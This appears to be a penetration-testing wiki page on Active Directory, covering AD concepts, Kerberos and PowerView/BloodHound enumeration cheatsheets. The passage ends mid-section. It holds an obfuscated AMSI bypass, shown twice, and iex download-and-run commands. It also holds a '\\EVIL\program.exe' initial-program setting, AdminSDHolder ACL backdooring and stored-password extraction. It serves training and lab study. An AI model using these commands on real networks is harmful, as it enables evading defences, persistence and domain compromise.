# Bufu-Sec Wiki


# General


# General

## Introduction

* Used to manage Windows domain networks
* "Phone book" for Windows -> stores information about computers, users, etc.
* Authentication uses Kerberos tickets
* Can be exploited using intended functionality

## Physical AD Components

* Domain controller server -> AD DS server role installed
* Domain controllers
  * Host copy of AD DS directory store
  * Provides authentication & authorization
  * Replicate updates to other DCs in the domain and forest
  * Administrative access to manage user accounts and network resources
* AD DS data store
  * Contains db files and processes that store and manage directory information for users, services, and applications
  * Consists of the `Ntds.dit` file
  * Is stored by default in the `%SystemRoot%\NTDS` folder on all DCs
  * Accessible only through the DC processes and protocols

## Logical AD Components

* AD DS schema
* Every type of object that can be stored
* Enforces rules for object creation & configuration

| Object Types     | Function                                      | Examples       |
| ---------------- | --------------------------------------------- | -------------- |
| Class Object     | What objects can be created in the directory  | User, Computer |
| Attribute Object | Information that can be attached to an object | Display name   |

### Domains

* Used to group and manage objects in an organization
* Administartive boundary for applying policies to groups and objects
* Replication boundary for replicating data between domain controllers
* Authentication & authorization boundary that provides a way to limit the scope of access to resources

### Trees

* Hierarchy of domains in AD DS
* All domains in the tree
  * Share contiguous namepsace with parent domain
  * Can have additional child domains
  * By default create a two-way transitive trust with other domains

### Forest

* Collection of one or more domain trees
* Share a common
  * schema
  * configuration partition
  * global catalog to enable searching
* Enable trusts between all domains in the forest
* Share the Enterprise Admins and Schema Admins groups

### Organization Units (OUs)

* AD containers that can contain users, groups, computer and other OUs
* Used to
  * Represent organization hierarchically and logically
  * Manage a collection of objects in a consistent way
  * Delegate permissions to administer groups of objects
  * Apply policies
* Separate components only for applying GP
* Don't mix users and computers

### Trusts

* Provide mecahnism for users to gain access to resources in antoher domain
* All domains in a forest trust all other domains in the forest
* Can extend outside the forest
* Types of trusts
  * Directional
  * Transitive

### Objects

* User
* InetOrgPerson
* Contacts
* Groups
* Computers
* Printers
* Shared folders

### Flexible Single Master Operations (FSMO) Roles

#### Schema Master

* Performs updates to the AD schema such as ADPREP/FORESTPREP, MS Exchange
* Must be online during schema updates
* Generally placed on the forest root PDC

#### Domain Naming Master

* Adds and removes domains and application partitions to and from the AD forest
* Must be online when domains and application partitions in a forest are added or removed
* Generally placed on the forest root PDC

#### PDC Emulator

* Manages password changes for computer and user accounts on replica domain controllers
* Consulted by replica domain controllers where service authentication requests have mismatched passwords
* Target DC for Group Policy updates
* Usually also the single authorative time server
* Target DC for legacy applications that perform writable operations and for some admin tools
* Must be online and accessible at all times
* Generally placed on higher-performance hardware in a reliable hub site alongside other DCs

#### RID Master

Allocates active and standby RID pools to replica DCs in the same domain Must be online for newly-promoted DCs to obtain a local RID pool or when existing DCs must update their current or standby RID pool allocation Generally placed on the forest root PDC

#### Infrastructure Master

* Updates cross-domain references and phantoms/tombstones from the Global Catalog
* A Separate infrastructure master is created for each application partition including the default forest-wide and domain-wide application partitions
* Can be placed on any DC in single-domain forest
* Generally placed on a DC that is not a Global Catalog in a multi-domain forest except when all DCs in the forest are Global Catalog then it can be placed on any DC


# Installation

## Setup DNS

```powershell
# Install normal DNS server
Install-WindowsFeature DNS

# Register DNS records
cmd /c ipconfig -registerdns
```

## Install AD DS on Server Core

```powershell
# Install AD DS and management tools
Install-WindowsFeature -Name ad-domain-services -IncludeManagementTools

# Install new forest and domain
Install-ADDSForest -DomainName "lab.local"
```

## Add Domain Controller

```powershell
# Add domain controller and prompt for credentials
Install-ADDSDomainController -DomainName "lab.local" -Credential (Get-Credential Lab\Administrator)
```

### Create DC from IFM Media

```
" Create directory for image
mkdir C:\ifm

" Launch ntdsutil
ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create sysvol full c:\ifm
```

Transfer folder to target computer then run

```powershell
Install-ADDSDomainController -DomainName "lab.local" -Credential (Get-Credential Lab\Administrator) -InstallationMediaPath "C:\ifm"
```

### Clone DC

```powershell
# Get list of applications that do not support cloning
Get-ADDCCloningExcludedApplicationList

# Create list of applications that do support cloning
Get-ADDCCloningExcludedApplicationList -GenerateXml

# Create config file
New-ADDCCloneConfigFile -Static -IPv4Address "192.168.47.13" -IPv4DNSResolver "192.168.47.10" -IPv4SubnetMask "255.255.255.0" -CloneComputerName "DC04" -IPv4DefaultGateway "192.168.47.2"

# Shutdown computer and clone VM
Stop-Computer
```

## Join Computer To Domain

```powershell
# Add computer to domain and restart
Add-Computer -DomainName "lab.local" -Restart

# Rename computer and add to domain
Add-Computer -DomainName "lab.local" -NewName "test" -Restart
```


# DNS

## General

* Active Directory relies on DNS
* Locate machines and resources on the same domain

## Setup DNS

```powershell
# Install normal DNS server
Install-WindowsFeature DNS

# Register DNS records
cmd /c ipconfig -registerdns
```


# Kerberos

## Introduction

* Default authentication service for AD domains
* Uses 3rd party ticket autorization as well as stronger encryption than NTLM

***

## Authentication Process

1. Client encrypts a timestamp with his NTLM hash and sends it to the KDC (`AS-REQ`)
2. KDC encrypts TGT with user NTLM, signs it and sends it back to the user (`AS-REP`). Only `krbtgt` can open and read TGT data
3. Clients encrypts TGT with `krbtgt` NTLM hash when requesting a TGS ticket (`TGS-REQ`)
4. KDC encrypts TGS with target service's NTLM hash and sends it back to the client (`TGS-REP`)
5. User connects to the server hosting the service on the appropriate port & presents the TGS (`AP-REQ`)
6. Service validates the ticket and checks weather the user can access it or not

***

## Terminology

### Ticket Granting Ticket (TGT)

Authentication ticket used to request service tickets from the TGS for specific resources from the domain.

### Key Distribution Center (KDC)

A service issuing TGTs and service tickets that consist of the Authentication Service and the Ticket Granting Service.

### Authentication Service (AS)

Issues TGTs to be used by the TGS i nthe domain to request access to other machines and service tickets.

### Ticket Granting Service (TGS)

Takes the TGT and returns a ticket to a machine on the domain.

### Service Principal Name (SPN)

Identifier given to a service instance to associate a service instance with a domain service account. Windows requires that services have a domain service account which is why a service needs an SPN set.

### KDC Long Term Secret Key (KDC LT Key)

KDC key is based on the KRBTGT service account. Used to encrypt the TGT and sign the PAC.

### Client Long Term Secret Key (Client LT Key)

Client key is based on the computer or service account. It is used to check the encrypted timestampt and encrypt the session key.

### Service Long Term Secret Key (Service LT Key)

The service key is based on the service account. It is used to encrypt the service portion of the service ticket and sign the PAC.

### Session Key

Issued by the KDC when a TGT is issued. The user will provide the session key to the KDC along with the TGT when requesting a service ticket.

### Privilege Attribute Certificate (PAC)

The PAC holds all of the user's relevant information, it is sent along with the TGT to the KDC to be signed by the Target LT Key and the KDC LT Key in order to validate the user.

***

## AS-REQ with Pre-Authentication

* Starts when a user requests a TGT from the KDC
* To validate the user and create a TGT for him, KDC must follow certain steps
  * User encrypts a timestamp NT hash and send it to the AS
  * KDC attempts to decrypt the timestampt using the user's NT hash
  * If successful, KDC will issue TGT and session key for the user

### Ticket Granting Ticket Contents

* TGT is provided by the user to KDC
* KDC validates ticket and returns service ticket
* Content:
  * Start/end/validity time
  * Service name
  * Target name
  * Client name
  * Session key
  * PCA
  * Signed with
    * Service LT Key
    * KDC LT Key

### Service Ticket Contents

* Contains two portions: service-provided portion & user-provided portion
* Service portion
  * User details
  * Session key
  * Encrypts the ticket with service account NTLM hash
* User portion
  * Validity timestamp
  * Session key
  * Encrypts with the TGT session key

***

## Kerberos Tickets Overview

* TGT comes in various formats
  * .kirbi for Rubeus
  * .ccache for Impacket
* Ticket is base64 encoded
* Once user gives TGT to server, it then
  * gets user details & session key
  * encrypts ticket with service NTLM hash
* KDC will authenticate TGT and return service ticket
* Normal TGT will only work for the target service
* KRBTGT allows you to get any service ticket to gain access to anything in the domain

***

## Attack Privilege Requirements

| Attack               | Requirements                                   |
| -------------------- | ---------------------------------------------- |
| Kerbrute Enumeration | No domain access required                      |
| Pass the Ticket      | Access as a user to the domain required        |
| Kerberoasting        | Access as any user required                    |
| AS-REP Roasting      | Access as any user required                    |
| Golden Ticket        | Full domain compromise (domain admin) required |
| Silver Ticket        | Service hash required                          |
| Skeleton Key         | Full domain compromise (domain admin) required |


# Kerberos Delegation

## What is Kerberos Delegation?

* Allows to "reuse the end-user credentials to access resources hosted on a different server"
* E.g. user authenticates to webserver, then webserver impersonates user to authenticate to database server
* But: Service account for web server must be trusted for delegation to impersonate user

## Authentication Process

* User provides credentials to DC
* DC returns TGT
* User requests TGS for web service on Web Server
* Web server service account uses the user's TGT to request TGS for the database server from the DC
* Web server service account connects to the database server as the user

## Types of Kerberos Delegation

### Unconstrained

* General/basic delegation
* Allows service to access any server on any computer in the domain

### Constrained

* Allows service to request access only to specified computers/resources
* If user is not using Kerberos authentication to authenticate to web server, Windows offers Protocol Transition to transition the request to Kerberos


# Enumeration


# AD Module

## Setup

### With Internet Access

```powershell
iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1');Import-ActiveDirectory
```

### Without Internet Access

```powershell
# If computer has no internet access, download repository
Import-Module .\ADModule\Microsoft.ActiveDirectory.Management.dll -Verbose
Import-Module .\ADModule\ActiveDirectory\ActiveDirectory.psd1
```

### Check if Module Has Been Imported Correctly

```powershell
Get-Command -Module ActiveDirectory
```


# Bloodhound

## Setup

```bash
# Install bloodhound
apt install bloodhound

# Start console
neo4j console

# Open web console and login with default credentials: neo4j:neo4j
firefox http://localhost:7474/browser/

# Start bloodhound and login with credentials
bloodhound
```

## Get Loot with SharpHound.ps1

```powershell
# Default
Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip

# Try to avoid detection
Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip -ExcludeDC
```


# PowerShell Cheatsheet

## Security Features

### Language Mode

```powershell
$ExecutionContext.SessionState.LanguageMode
```

### AppLocker Policy

```powershell
Get-AppLockerPolicy -Effective | Select -ExpandProperty RuleCollections
```

### AMSI Bypasses

```powershell
S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
```

## Users

### Show Local Users

```powershell
Get-LocalUser
```

### Show Number of Local Users

```powershell
Get-LocalUser | Measure-Object -line
```

### Get User by providing SID

```powershell
Get-LocalUser -SID "S-1-5-21-1394777289-3961777894-1791813945-501"
```

### Show Usernames and SIDs

```powershell
Get-LocalUser | Select-Object -Property Name,SID,Enabled
```

### Show Users that Do not Require a Password

```powershell
Get-LocalUser | Where-Object -Property PasswordRequired -Eq $False
```

## Groups

### Show Local Groups

```powershell
Get-LocalGroup
```

### Show Number of Local Groups

```powershell
Get-LocalGroup | Measure-Object -line
```

## Networks

### Get Network Adapter and IP Address Information

```powershell
Get-NetIPAddress
```

### Show only IPv4 Addresses and Show Output in Table Format

```powershell
Get-NetIPAddress -AddressFamily IPv4 | Format-Table
Get-NetIPAddress -AddressFamily IPv4 | ft
```

### Show Listening Ports

```powershell
Get-NetTCPConnection -State Listen
```

## Computers & Files

### Show Installed Patches

```powershell
Get-HotFix
```

### Show Information about Specific Patch

```powershell
Get-HotFix -ID KB4023834
```

### Search for Backup Files

```powershell
Get-ChildItem -Path C:\ -Include *.bak* -File -Recurse -ErrorAction SilentlyContinue -Force
gci -Path C:\ -Include *.bak* -File -Recurse -ErrorAction SilentlyContinue -Force
ls -Path C:\ -Include *.bak* -File -Recurse -ErrorAction SilentlyContinue -Force
```

### Search for Files Containing Specific String

```powershell
Get-ChildItem C:\* -Recurse | Select-String -pattern API_KEY
```

### Get Running Processes

```powershell
Get-Process
```

### Get All Scheduled Tasks

```powershell
Get-ScheduledTask
```

### Get Information about Specific Scheduled Task

```powershell
Get-ScheduledTask -TaskName "new-sched-task"
```

### Show Owner of File/Folder

```powershell
Get-ACL C:\
```


# PowerView Cheatsheet

## Bypass AMSI

```powershell
# If it gets blocked by AMSI we can bypass it with
S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
```

## With Internet Access

```powershell
iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1')
```

## Without Internet Access

```powershell
Import-Module .\PowerView.ps1
. .\PowerView.ps1
```


# Users

## Get List of Users in Current Domain

```powershell
# AD Module
Get-ADUser -Filter * -Properties *
Get-ADUser -Identity student1 -Properties *
Get-ADUser -Filter * -Properties * | Select Name

# PowerView
Get-NetUser
Get-NetUser -Username student1
Get-NetUser | Select cn
```

## Get List of All Properties for Users in Current Domain

```powershell
# AD Module
Get-ADUser -Filter * -Properties * | Select -First 1 | Get-Member -MemberType *Property | Select Name
Get-ADUser -Filter * -Properties * | Select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
```

## Find All Users with an SPN

```powershell
# PowerView
Get-DomainUser -SPN
```

## Find All Service Accounts in "Domain Admins"

```powershell
# PowerView
Get-DomainUser -SPN | ?{$_.memberof -match 'Domain Admins'}
```

## Check for Users Who Don't Have Kerberos Preauthentication Set

```powershell
# PowerView
Get-DomainUser -PreauthNotRequired
Get-DomainUser -UACFilter DONT_REQ_PREAUTH
```

## Find Users with sidHistory Set

```powershell
# PowerView
Get-DomainUser -LDAPFilter '(sidHistory=*)'
```

## Find Any Users with Constrained Delegation Set

```powershell
# PowerView
Get-DomainUser -TrustedToAuth
```

## Find All Privileged Users that Aren't Marked as sensitive/not for Delegation

```powershell
# PowerView
Get-DomainUser -AllowDelegation -AdminCount
```

## Get List of All Properties for Users in Current Domain

```powershell
# PowerView
Get-UserProperty
Get-UserProperty -Properties pwdlastset
```

## Search for a Particular String in a User's Attributes

```powershell
# AD Module
Get-ADUser -Filter 'Description -Like "*built*"' -Properties Description | Select name,Description

# PowerView
Find-UserField -SearchField Description -SearchTerm "built"
```

## Get Actively Logged on Users on a Computer (needs Local Admin Rights on the target)

```powershell
# PowerView
Get-NetLoggedOn -ComputerName dc.lab.local
```

## Get Actively Logged on Users on a Computer

```powershell
# PowerView
Get-LoggedOnLocal -ComputerName dc.lab.local
```

## Get the Last Logged User on a Computer

```powershell
# PowerView
Get-LastLoggedOn -ComputerName dc.lab.local
```

## Get All Users with Passwords Changed > 1 Year ago

```powershell
# PowerView
$Date = (Get-Date).AddYears(-1).ToFileTime()
Get-DomainUser -LDAPFilter "(pwdlastset<=$Date)" -Properties samaccountname,pwdlastset
```

## Get All Enabled Users

```powershell
# PowerView
Get-DomainUser -LDAPFilter "(!userAccountControl:1.2.840.113556.1.4.803:=2)" -Properties distinguishedname
Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE -Properties distinguishedname
```

## Get All Disabled Users

```powershell
# PowerView
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=2)"
Get-DomainUser -UACFilter AccountDISABLE
```

## Get All Users that Require Smart Card Authentication

```powershell
# PowerView
Get-DomainUser -LDAPFilter "(useraccountcontrol:1.2.840.113556.1.4.803:=262144)"
Get-DomainUser -UACFilter SMARTCARD_REQUIRED
```

## Get All Users that *don't* Require Smart Card Authentication

```powershell
# PowerView
Get-DomainUser -LDAPFilter "(!useraccountcontrol:1.2.840.113556.1.4.803:=262144)" -Properties samaccountname
Get-DomainUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname
```

## Use Multiple Identity Types for Any *-Domain* Function

```powershell
# PowerView
'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff
```

## Enumerate All Foreign Users in the Global Catalog, and Query the Specified Domain Localgroups for Their Memberships

```powershell
# PowerView

# query the global catalog for foreign security principals with Domain-based SIDs, and extract out all distinguishednames
$ForeignUsers = Get-DomainObject -Properties objectsid,distinguishedname -SearchBase "GC://testlab.local" -LDAPFilter '(objectclass=foreignSecurityPrincipal)' | ? {$_.objectsid -match '^S-1-5-.*-[1-9]\d{2,}$'} | Select-Object -ExpandProperty distinguishedname
$Domains = @{}
$ForeignMemberships = ForEach($ForeignUser in $ForeignUsers) {
    # extract the Domain the foreign User was added to
    $ForeignUserDomain = $ForeignUser.SubString($ForeignUser.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
    # check if we've already enumerated this Domain
    if (-not $Domains[$ForeignUserDomain]) {
        $Domains[$ForeignUserDomain] = $True
        # enumerate all Domain local groups from the given Domain that have membership set with our foreignSecurityPrincipal set
        $Filter = "(|(member=" + $($ForeignUsers -join ")(member=") + "))"
        Get-DomainGroup -Domain $ForeignUserDomain -Scope DomainLocal -LDAPFilter $Filter -Properties distinguishedname,member
    }
}
$ForeignMemberships | fl
```

## If Running in -sta Mode, Impersonate Another Credential a la "runas /netonly"

```powershell
# PowerView

$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Invoke-UserImpersonation -Credential $Cred
# ... action
Invoke-RevertToSelf
```

## Set the Specified Property for the given User Identity

```powershell
# PowerView
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
```

## Set the Owner of 'dfm' in the Current Domain to 'bufu'

```powershell
# PowerView
Set-DomainObjectOwner -Identity dfm -OwnerIdentity bufu
```

## Retrieve *most* Users Who Can Perform DC Replication for dev.testlab.local (i.e. DCsync)

```powershell
# PowerView
Get-ObjectACL "DC=testlab,DC=local" -ResolveGUIDs | ? {
    ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get')
}
```

## Check if Any User Passwords Are Set

```powershell
# PowerView
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
```

## User Hunting with PowerView

### Find All Machines on the Current Domain where the Current User Has Local Admin Access

This function queries the DC of the current or provided Domain for a list of Computers (`Get-NetComputer`) and then use multi-threaded `Invoke-CheckLocalAdminAccess` on each machine.

Can also be done using WMI and PowerShell Remoting, see `Find-WMILocalAdminAccess.ps1` and `Find-PSRemotingLocalAdminAccess.ps1`.

```powershell
Find-LocalAdminAccess -Verbose
```

### Find Local Admins on All Machines

Needs administrator privs on non-dc machines.

This function queries the DC of the current or provided Domain for a list of Computers (`Get-NetComputer`) and then use multi-threaded `Get-NetLocalGroup` on each machine.

```powershell
Invoke-EnumerateLocalAdmin -Verbose
```

### Find Computers where a Domain Admin (or Specified User/group) Has Sessions

This function queries the DC of the current or provided Domain for members of the given group (Domain Admins by default) using `Get-NetGroupMember`, gets a list of Computers (`Get-NetComputer`) and list sessions and logged on Users (`Get-NetSession` / `Get-NetLoggedon`) from each one.

```powershell
Invoke-UserHunter
Invoke-UserHunter -GroupName "RDPUsers"
```

### Confirm Admin Access

```powershell
Invoke-UserHunter -CheckAccess
```

### Find Computers where a Domain Admin is Logged-in

This option queries the DC of the current or provided Domain for members of the given group (Domain Admins by default) using `Get-NetGroupMember`, gets a list *only* of high traffic servers (DC, File Servers and Distributed File servers) for less traffic generation and list sessions and logged on Users (`Get-NetSession` / `Get-NetLoggedon`) from each machine.

```powershell
Invoke-UserHunter -Stealth
```

### Enumerate Servers that Allow Unconstrained Delegation and Show All Logged in Users

`Find-DomainUserLocation` == old `Invoke-UserHunter`

```powershell
Find-DomainUserLocation -ComputerUnconstrained -ShowAll
```

### Hunt for Admin Users that Allow Delegation, Logged into Servers that Allow Unconstrained Delegation

```powershell
Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation
```

### Defending against User Hunting

#### NetCease

* Script to change permissions on `NetSessionEnum` method by removing permissions for `Authenticated Users` group
* Fails many of the attacker's session enumeration and hence User hunting capabilities

```powershell
.\NetCease.ps1
```

#### SAMRi10

* From same author as NetCease
* Hardens Windows 10 and Server 2016 against enumeration wihch uses SAMR protocol (like net.exe)
* <https://gallery.technet.microsoft.com/SAMRi10-Hardening-Remote-48d94b5b>


# Groups

## Get All Groups in Current Domain

```powershell
# AD Module
Get-ADGroup -Filter * | Select Name
Get-ADGroup -Filter * -Properties *

# PowerView
Get-NetGroup
Get-NetGroup -FullData
```

## Get Information about Groups in other Domain

```powershell
Get-NetGroup -Domain lab.local
```

## Get All Groups Containing the Word "admin" in Group Name

```powershell
# AD Module
Get-ADGroup -Filter 'Name -Like "*admin*"' | Select Name

# PowerView
Get-NetGroup "*admin*"
```

## Get Information about Specific Group

```powershell
Get-NetGroup -FullData "Domain Admins"
```

## Get All Members of Domain Admins Group

```powershell
# AD Module
Get-ADGroupMember -Identity "Domain Admins" -Recursive

# PowerView
Get-NetGroupMember -GroupName "Domain Admins" -Recurse
```

## Get List of Enterprise Admins, only Available from Forest Root

```powershell
Get-NetGroupMember -GroupName "Enterprise Admins" -Domain lab.local
```

## Get Group Membership for a User

```powershell
# AD Module
Get-ADPrincipalGroupMembership -Identity student1

# PowerView
Get-NetGroup -UserName "student1"
```

## List All Local Groups on a Machine (needs Administrator Privileges on Non-dc Machines)

```powershell
Get-NetLocalGroup -ComputerName dc.lab.local -ListGroups
```

## Get Members of All Local Groups on a Machine (needs Administrator Privileges on Non-dc Machines)

```powershell
Get-NetLocalGroup -ComputerName dc.lab.local -Recurse
```

## Find Linked DA Accounts Using Name Correlation

```powershell
Get-DomainGroupMember 'Domain Admins' | %{Get-DomainUser $_.membername -LDAPFilter '(displayname=*)'} | %{$a=$_.displayname.split(' ')[0..1] -join ' '; Get-DomainUser -LDAPFilter "(displayname=*$a*)" -Properties displayname,samaccountname}
```

## Find Any Machine Accounts in Privileged Groups

```powershell
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'}
```

## Enumerate All Groups that Don't Have a Global Scope, Returning just Group Names

```powershell
Get-DomainGroup -GroupScope NotGlobal -Properties name
```


# Computers

## Get List of Computers in Current Domain

```powershell
# AD Module
Get-ADComputer -Filter * -Properties *
Get-ADComputer -Filter * | Select Name

# PowerView
Get-NetComputer
Get-NetComputer -FullData
```

## Check for Live Hosts (depends on ICMP)

```powershell
# AD Module
Get-ADComputer -Filter * -Properties DNSHostName | %{Test-Connection -Count 1 -ComputerName $_.DNSHostName}

# PowerView
Get-NetComputer -Ping
```

## Information about Operating Systems

```powershell
# AD Module
Get-ADComputer -Filter 'OperatingSystem -Like "*Server 2016"' -Properties OperatingSystem | Select Name,OperatingSystem

# PowerView
Get-NetComputer -OperatingSystem "*Server 2016"
Get-NetComputer -FullData | select dnshostname,operatingsystem
```

## Get List of Sessions on Computer

```powershell
# PowerView
Get-NetSession -ComputerName "dc01.lab.local"
```

## Find Any Computers with Constrained Delegation Set

```powershell
# PowerView
Get-DomainComputer -TrustedToAuth
```

## Find All Servers that Allow Unconstrained Delegation

```powershell
# PowerView
Get-DomainComputer -Unconstrained
```

## Return the Local Groups of a Remote Server

```powershell
# PowerView
Get-NetLocalGroup SERVER.domain.local
```

## Return the Local Group Members of a Remote Server Using Win32 API Methods (faster but less info)

```powershell
# PowerView
Get-NetLocalGroupMember -Method API -ComputerName SERVER.domain.local
```

## Enumerates Computers in the Current Domain with 'outlier' Properties

```powershell
# PowerView
Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier
```


# OUs

## Get OUs in a Domain

```powershell
# AD Module
Get-ADOrganizationalUnit -Filter * -Properties *

# PowerView
Get-NetOU -FullData
```

## Get GPO Applied on an OU (Read GPOName from Gplink Attribute from Get-NetOU)

```powershell
# AD Module
Get-GPO -GUID "AB306569-220D-43FF-B03B-83E8F4EF8081"

# PowerView
Get-NetGPO -GPOname "{AB306569-220D-43FF-B03B-83E8F4EF8081}"
```

## Find All Computers in a given OU

```powershell
Get-DomainComputer -SearchBase "ldap://OU=..."
```

## Get the Logged on Users for All Machines in Any *server* OU in a Particular Domain

```powershell
Get-DomainOU -Identity *server* -Domain <domain> | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname | %{Get-NetLoggedOn -ComputerName $_}}
```


# GPOs

## General

* Security settings
* Registry-based policy settings
* GPP like start/shutdown/log-on/logff script settings
* Software installation
* Abused for privesc, backdoors, persistence

## Display RSoP Summary Data

```powershell
gpresult /R

# AD Module
Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html
```

## Get List of GPOs in Current Domain

```powershell
# AD Module
Get-GPO -All

# PowerView
Get-NetGPO
Get-NetGPO | Select displayname
Get-NetGPO -ComputerName ws01.lab.local
Get-DomainGPO -ComputerIdentity windows1.testlab.local
```

## Get GPO(s) Which Use Restricted Groups or groups.xml for Interesting Users

```powershell
Get-NetGPOGroup
```

## Get Users Which Are in a Local Group of a Machine Using GPO

```powershell
Find-GPOComputerAdmin -ComputerName ws01.lab.local
```

## Get Machines where the given User is a Member of a Specific Group

```powershell
Find-GPOLocation -UserName user -Verbose
```

## Enumerate what Machines that a Particular User/Group Identity Has Local Admin Rights to

```powershell
# Get-DomainGPOUserLocalGroupMapping == old Find-GPOLocation
Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>
```

## Enumerate what Machines that a given User in the Specified Domain Has RDP Access Rights to

```powershell
Get-DomainGPOUserLocalGroupMapping -Identity <USER> -Domain <DOMAIN> -LocalGroup RDP
```

## Export a CSV of All GPO Mappings

```powershell
Get-DomainGPOUserLocalGroupMapping | %{$_.computers = $_.computers -join ", "; $_} | Export-CSV -NoTypeInformation gpo_map.csv
```


# ACLs

## General

* Access Control Entries (ACE) correspond to individual permission or audits access
* Who has permission and what can be done on an object?
* Two types:
  * DACL -> Defines the permissions trustees (a user or group) have on an object
  * SACL - Logs success and failure audit messages when an object is accessed

## Enumerate ACLs without Resolving GUIDs

```powershell
# AD Module
(Get-ACL 'CN=Domain Admins,CN=Users,DC=dc01,DC=dc02,DC=local').Access
```

## Get the ACLs Associated with the Specified Object

```powershell
# PowerView
Get-ObjectACL -SamAccountName "Users" -ResolveGUIDs
```

## Get the ACLs Associated with the Specified Prefix to Be Used for Search

```powershell
# PowerView
Get-ObjectACL -ADSPrefix 'CN=Administrator,CN=Users' -Verbose
```

## Get the ACLs Associated with the Specified LDAP Path to Be Used for Search

```powershell
# PowerView
Get-ObjectACL -ADSPath "LDAP://CN=Domain Admins,CN=Users,DC=dc01,DC=dc02,DC=local" -ResolveGUIDs -Verbose
```

## Search for Interesting ACEs

```powershell
# PowerView
Invoke-ACLScanner -ResolveGUIDs
```

## Get the ACLs Associated with the Specified Path

```powershell
# PowerView
Get-PathACL -Path "\\dc01.lab.local\sysvol"
```

## Enumerate Who Has Rights to the 'matt' User in 'testlab.local', Resolving Rights GUIDs to Names

```powershell
# PowerView
Get-DomainObjectAcl -Identity matt -ResolveGUIDs -Domain testlab.local
```

## Grant User 'will' the Rights to Change 'matt's Password

```powershell
# PowerView
Add-DomainObjectAcl -TargetIdentity matt -PrincipalIdentity will -Rights ResetPassword -Verbose
```

## Audit the Permissions of AdminSDHolder, Resolving GUIDs

```powershell
# PowerView
Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs
```

## Backdoor the ACLs of All Privileged Accounts with the 'matt' Account through AdminSDHolder Abuse

```powershell
# PowerView
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
```

## Retrieve *most* Users Who Can Perform DC Replication for dev.testlab.local (i.e. DCsync)

```powershell
# PowerView
Get-DomainObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
    ($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')
}
```

## Enumerate Permissions for GPOs where Users with RIDs of > -1000 Have Some Kind of Modification/Control Rights

```powershell
# PowerView
